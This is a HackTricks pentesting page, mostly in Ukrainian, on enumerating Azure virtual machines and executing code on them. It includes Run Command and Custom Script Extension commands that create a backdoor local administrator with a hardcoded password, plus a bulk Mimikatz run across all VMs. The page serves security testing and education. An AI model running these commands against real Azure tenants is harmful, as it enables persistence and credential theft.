Az - Virtual Machines & Network

Support HackTricks

Основна інформація

З документації: Віртуальні машини Azure є одним з кількох типів ресурсів обчислення за запитом, що масштабується, які пропонує Azure. Зазвичай ви обираєте віртуальну машину, коли вам потрібен більший контроль над обчислювальним середовищем, ніж пропонують інші варіанти. Ця стаття надає інформацію про те, що слід врахувати перед створенням віртуальної машини, як її створити та як нею керувати.

Інформація про мережу Azure

Мережі Azure містять різні сутності та способи їх налаштування. Ви можете знайти короткі описи, приклади та команди перерахування різних сутностей мережі Azure в:

Azure Bastion

Azure Bastion пропонує безпечне, повністю кероване рішення для доступу RDP (протокол віддаленого робочого столу) та SSH (захищена оболонка) через SSL через портал Azure. Він інтегрований у віртуальну мережу Azure, що дозволяє підключення RDP та SSH до ВМ, використовуючи приватні IP-адреси, уникаючи необхідності в публічних IP-адресах. Це робить його більш безпечним і зручним альтернативним варіантом традиційних методів, що включають призначення публічних IP-адрес і налаштування правил NSG для доступу до ВМ. Розробники та IT-персонал можуть безпечно отримувати доступ до ВМ з порталу Azure, використовуючи свої веб-браузери, спрощуючи процес для середовищ розробки та тестування.

Щоб перерахувати всі хости Azure Bastion у вашій підписці, ви можете використовувати наступну команду:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Перерахунок ВМ

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Запуск команд у VM

AAD вхід у VM

Можливо дозволити доступ користувачам, аутентифікованим через AzureAD. Наприклад, намагаючись отримати доступ до linux VM: ssh username@azure-corp.com@1.1.1.1 (важливо використовувати електронну пошту з azurecorp, коли намагаєтеся увійти) ви можете отримати помилку, як:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Просто дотримуйтесь цих інструкцій, перейшовши на https://microsoft.com/devicelogin та вказавши код, використовуйте електронну пошту та пароль як облікові дані, і ви зможете підключитися через SSH (якщо у цього користувача є достатні права для цього: роль Virtual Machine Administrator Login або Virtual Machine User Login).

Запустити команду

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Запустіть розширення користувацького скрипта

Azure віртуальні машини (VM) розширення - це невеликі програми, які забезпечують конфігурацію після розгортання та автоматизацію завдань на Azure VMs. Наприклад, якщо віртуальна машина потребує встановлення програмного забезпечення, антивірусного захисту або можливості виконувати скрипт всередині, ви можете використовувати розширення VM.

Отже, якщо у вас є доступ для запису, ви можете виконувати довільний код:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) - це інструмент PowerShell, подібний до Ansible, який використовується для налаштування хоста через код. DSC інтегрується з Azure, дозволяючи завантаження специфічних конфігураційних файлів. Ці файли повинні відповідати строгому синтаксису. Зокрема, розширення DSC в Azure може виконувати команди з файлів, які відповідають певним критеріям форматування, навіть якщо синтаксис не є правильним за стандартами DSC, як показано на наданій фігурі.

Виконання цих команд полегшується функцією Publish-AzVMDscConfiguration в Az PowerShell. Вимоги включають файл .PS1 з визначеною функцією, і файл повинен бути стиснутий у файл .zip. Навіть якщо синтаксис може бути неточним для DSC, код все ще буде виконуватись. Однак розширення позначить статус виконання як "невдача", і жоден вихід з команди не буде видимим через те, що статус буде перезаписаний повідомленням про невдачу.

VM Application Definitions

VM Application Definitions дозволяють повторюване розгортання версійованих додатків на Azure VM. Цей ресурс підтримує розгортання та оновлення додатків на VMs. Для налаштування цього процесу потрібно виконати кілька кроків, що включають команди New-AzGalleryApplication та New-AzGalleryApplicationVersion в Az PowerShell.

Виконання додатків або команд через цей метод передбачає "VMAppExtension", яка автоматично встановлюється, коли додаток застосовується до VM. Розширення отримує файл з вказаного URI і називає його точно так, як додаток, без розширення. Щоб правильно виконати файл, поле "ManageActions" у виклику REST API повинно бути налаштоване для перейменування файлу з відповідним розширенням. Налаштування цього методу, після завершення, буде нагадувати структуру, показану на наданій фігурі.

Однак цей метод виконання є відносно повільним, займаючи близько 3-4 хвилин для виконання додатка або команди. Файли, пов'язані з цим процесом, зберігаються в специфічних каталогах (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ для копії додатка та C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ для статусу виконання).

Обидві техніки надають унікальні способи виконання команд і розгортання додатків в Azure середовищах, кожна з яких має свій набір вимог, кроків і міркувань.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) - це функція в Azure, яка дозволяє Runbooks, налаштованим в обліковому записі автоматизації, виконуватись на Azure Virtual Machine (VM), яка є частиною призначеної HWG. Це виконання полегшується через розширення, встановлене на VM, яке розгортає код Runbook на VM. Важливим аспектом цього процесу є те, що фактичні облікові дані не є фактором у виконанні, оскільки код виконується з підвищеними привілеями, зокрема як SYSTEM або root, як показано на наданій фігурі.

Ключовою деталлю для тих, хто використовує Windows 10 VMs, є необхідність вказати версію PowerShell для Runbook. Вона повинна бути налаштована на виконання як PowerShell Version 5.1 замість 7.1. Ця вимога виникає з того, що PowerShell 7.1 не встановлено за замовчуванням на цих VMs, що призводить до невдачі виконання скрипту, якщо вказана версія 7.1.

Ця функція Azure пропонує надійний метод для автоматизації та управління завданнями в гібридних середовищах, дозволяючи централізоване управління та виконання завдань на Azure VMs.

References

Support HackTricks

Last updated